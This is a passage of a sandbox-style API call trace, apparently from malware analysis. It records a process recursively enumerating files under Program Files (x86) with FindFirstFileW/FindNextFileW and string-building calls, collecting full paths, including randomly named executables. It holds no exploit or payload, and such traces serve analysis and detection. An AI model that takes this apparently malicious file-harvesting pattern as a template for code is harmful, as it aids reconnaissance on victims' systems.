Explorer\\jsprofilerui.dll" [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned 57 [0118.611] lstrcpyW (in: lpString1=0x24a1148, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0118.611] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.611] lstrcmpW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0118.611] lstrcmpW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.611] lstrlenW (lpString="msdbg2.dll") returned 10 [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned 51 [0118.611] lstrcpyW (in: lpString1=0x24a11c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0118.611] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.611] lstrcmpW (lpString1="pdm.dll", lpString2=".") returned 1 [0118.611] lstrcmpW (lpString1="pdm.dll", lpString2="..") returned 1 [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.611] lstrlenW (lpString="pdm.dll") returned 7 [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned 48 [0118.611] lstrcpyW (in: lpString1=0x24a1238, lpString2="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0118.611] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.611] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1 [0118.611] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1 [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.611] lstrlenW (lpString="SIGNUP") returned 6 [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="SIGNUP" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\" [0118.611] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0118.611] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" [0118.611] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.666] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.666] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.666] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.666] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.666] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.666] lstrcmpW (lpString1="install.ins", lpString2=".") returned 1 [0118.666] lstrcmpW (lpString1="install.ins", lpString2="..") returned 1 [0118.666] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0118.666] lstrlenW (lpString="install.ins") returned 11 [0118.666] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0118.666] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned 59 [0118.666] lstrcpyW (in: lpString1=0x24a12a8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0118.666] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.666] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.666] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.666] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0118.666] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0118.666] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.666] lstrlenW (lpString="sqmapi.dll") returned 10 [0118.666] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0118.666] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned 51 [0118.666] lstrcpyW (in: lpString1=0x24a1328, lpString2="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0118.666] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.666] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.666] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.666] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0118.666] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0118.666] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.666] lstrlenW (lpString="Java") returned 4 [0118.666] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Java") returned="c:\\Program Files (x86)\\Java" [0118.667] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\") returned="c:\\Program Files (x86)\\Java\\" [0118.667] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0118.667] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\*") returned="c:\\Program Files (x86)\\Java\\*" [0118.667] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.709] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.709] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.709] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.709] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.709] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.709] lstrcmpW (lpString1="analysts-dose.exe", lpString2=".") returned 1 [0118.709] lstrcmpW (lpString1="analysts-dose.exe", lpString2="..") returned 1 [0118.709] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0118.709] lstrlenW (lpString="analysts-dose.exe") returned 17 [0118.709] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0118.709] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned 45 [0118.709] lstrcpyW (in: lpString1=0x24a1398, lpString2="c:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0118.709] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.709] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2=".") returned 1 [0118.709] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2="..") returned 1 [0118.709] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0118.709] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0118.709] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0118.709] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned 61 [0118.709] lstrcpyW (in: lpString1=0x24a1400, lpString2="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0118.709] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.709] lstrcmpW (lpString1="jre7", lpString2=".") returned 1 [0118.709] lstrcmpW (lpString1="jre7", lpString2="..") returned 1 [0118.709] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0118.709] lstrlenW (lpString="jre7") returned 4 [0118.709] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="jre7" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7") returned="c:\\Program Files (x86)\\Java\\jre7" [0118.709] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\") returned="c:\\Program Files (x86)\\Java\\jre7\\" [0118.709] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.709] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\*") returned="c:\\Program Files (x86)\\Java\\jre7\\*" [0118.709] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.710] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.710] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.710] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.710] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.710] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.710] lstrcmpW (lpString1="bin", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="bin", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="bin") returned 3 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="bin" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\bin") returned="c:\\Program Files (x86)\\Java\\jre7\\bin" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="COPYRIGHT") returned 9 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned 42 [0118.711] lstrcpyW (in: lpString1=0x24a1488, lpString2="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="lib", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="lib", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="lib") returned 3 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="lib" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\lib") returned="c:\\Program Files (x86)\\Java\\jre7\\lib" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="LICENSE", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="LICENSE", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="LICENSE") returned 7 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned 40 [0118.711] lstrcpyW (in: lpString1=0x24a14e8, lpString2="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="README.txt", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="README.txt", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="README.txt") returned 10 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0118.711] lstrcpyW (in: lpString1=0x24a1548, lpString2="c:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="release", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="release", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="release") returned 7 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\release") returned 40 [0118.711] lstrcpyW (in: lpString1=0x24a15a8, lpString2="c:\\Program Files (x86)\\Java\\jre7\\release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0118.711] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.711] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0118.711] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0118.711] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 67 [0118.711] lstrcpyW (in: lpString1=0x24a1608, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0118.711] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.711] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0118.712] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0118.712] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.712] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0118.712] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0118.712] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned 60 [0118.712] lstrcpyW (in: lpString1=0x24a1698, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0118.712] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.712] lstrcmpW (lpString1="Welcome.html", lpString2=".") returned 1 [0118.712] lstrcmpW (lpString1="Welcome.html", lpString2="..") returned 1 [0118.712] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0118.712] lstrlenW (lpString="Welcome.html") returned 12 [0118.712] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0118.712] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned 45 [0118.712] lstrcpyW (in: lpString1=0x24a1720, lpString2="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0118.712] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.712] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.712] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.712] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2=".") returned 1 [0118.712] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2="..") returned 1 [0118.712] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0118.712] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0118.712] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0118.712] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned 64 [0118.712] lstrcpyW (in: lpString1=0x24a1788, lpString2="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0118.712] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.712] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.712] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.712] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0118.712] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0118.713] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.713] lstrlenW (lpString="Microsoft Office") returned 16 [0118.713] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft Office" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office") returned="c:\\Program Files (x86)\\Microsoft Office" [0118.713] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\") returned="c:\\Program Files (x86)\\Microsoft Office\\" [0118.713] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft Office\\") returned 40 [0118.713] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\*") returned="c:\\Program Files (x86)\\Microsoft Office\\*" [0118.713] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.713] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.713] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.713] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.713] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.713] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.713] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.713] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.713] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0118.714] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0118.714] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.714] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0118.714] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive") returned="c:\\Program Files (x86)\\Microsoft OneDrive" [0118.714] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\" [0118.714] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0118.714] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\*") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\*" [0118.714] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.758] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.758] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.758] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.758] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.758] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.758] lstrcmpW (lpString1="farehave.exe", lpString2=".") returned 1 [0118.758] lstrcmpW (lpString1="farehave.exe", lpString2="..") returned 1 [0118.758] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0118.758] lstrlenW (lpString="farehave.exe") returned 12 [0118.758] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0118.758] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned 54 [0118.758] lstrcpyW (in: lpString1=0x24a0858, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0118.758] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.758] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2=".") returned 1 [0118.758] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2="..") returned 1 [0118.758] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0118.758] lstrlenW (lpString="OneDriveSetup.exe") returned 17 [0118.758] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0118.758] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned 59 [0118.758] lstrcpyW (in: lpString1=0x24a1818, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0118.758] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.758] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.758] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.758] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0118.758] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0118.758] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.758] lstrlenW (lpString="Microsoft.NET") returned 13 [0118.758] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: 